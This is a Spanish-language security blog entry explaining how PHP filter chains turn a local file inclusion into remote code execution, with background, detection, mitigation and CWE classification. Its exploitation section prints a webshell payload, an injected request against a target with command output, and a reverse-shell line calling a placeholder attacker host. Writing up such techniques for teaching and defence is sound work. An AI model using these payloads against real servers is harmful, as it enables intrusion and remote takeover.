cd ~/blog

~/vulns/php-filter-chains-rce.md

PHP Filter Chains RCE

web 18-06-2026
PHPLFIRCEfilter-chain

~3 min de lectura


1. Descripción técnica del ataque

Los PHP filter chains son una técnica que convierte una inclusión de archivos local (LFI) —o cualquier punto donde se controle el resource de un php://filter— en ejecución remota de código (RCE), sin necesidad de subir ningún archivo al servidor.

PHP permite encadenar filtros de conversión sobre un stream mediante el wrapper php://filter. Filtros como convert.iconv.* transforman bytes entre codificaciones. El investigador Gabriel "hash_kitten" descubrió que, encadenando cuidadosamente conversiones iconv, se puede construir byte a byte una cadena arbitraria al inicio del contenido devuelto.

Aprovechando esto, se genera una cadena de filtros que produce un payload PHP (p. ej. <?= `$_GET[cmd]` ?>) en memoria, que luego es interpretado por la función vulnerable (include, require, etc.). El resultado es ejecución de código PHP arbitrario partiendo únicamente de un LFI.

La herramienta php_filter_chain_generator (de Synacktiv) automatiza la construcción de la cadena.

2. Impacto de la vulnerabilidad

  • Convierte un LFI en RCE sin requerir log poisoning, wrappers de subida ni allow_url_include.
  • Ejecución de comandos con los privilegios del proceso web (típicamente www-data).
  • Funciona incluso cuando no hay forma de escribir archivos en el servidor, ampliando enormemente el impacto de un LFI.

3. Historia y evolución

  • La técnica fue publicada por Gabriel Valuet (hash_kitten) en 2022 ("PHP filter chains: file read from error-based oracle" y su evolución a RCE).
  • Synacktiv liberó el generador php_filter_chain_generator.py, que la popularizó en CTFs y pentesting.
  • Ha cambiado la percepción del LFI: hoy un LFI sobre PHP se considera potencialmente RCE de forma casi directa.

4. Factores que la hacen posible

  1. Una vulnerabilidad de LFI (o un parámetro que llegue a include/require) donde se pueda inyectar un php://filter.
  2. Que PHP tenga disponibles los filtros convert.iconv (presentes por defecto en la mayoría de instalaciones).
  3. Que el contenido filtrado sea finalmente interpretado como PHP por la función vulnerable.

5. Detección

  • Confirmar primero el LFI y la capacidad de usar wrappers php://filter:
?lang=php://filter/read=convert.base64-encode/resource=index.php

Si devuelve el código fuente en base64, el wrapper de filtros funciona y la cadena RCE es viable.

6. Mitigación

  1. Eliminar la LFI de raíz: no incluir archivos basados en entrada del usuario; usar listas blancas (ver LFI (Local File Inclusion)).
  2. Bloquear los wrappers php:// en parámetros controlados por el usuario.
  3. Endurecer php.ini (allow_url_include = Off) y aplicar WAF, aunque la mitigación real es corregir la inclusión.

7. Ejemplo de explotación real

Generamos la cadena con la herramienta de Synacktiv y la inyectamos en el parámetro vulnerable, pasando el comando por cmd:

 ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://temp
http://target/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Desde ahí se lanza una reverse shell (&cmd=busybox nc ATTACKER 1234 -e /bin/bash).

8. Clasificación

  • Tipo: File Inclusion → Code Injection / Remote Code Execution
  • CWE:
    • CWE-98 – Improper Control of Filename for Include/Require
    • CWE-94 – Improper Control of Generation of Code (Code Injection)

9. Resumen

Los PHP filter chains transforman un LFI en RCE encadenando filtros convert.iconv para fabricar un payload PHP que la función de inclusión acaba ejecutando, sin subir archivos. Se automatiza con php_filter_chain_generator. La defensa real es eliminar la LFI subyacente y bloquear los wrappers php://.

// relacionados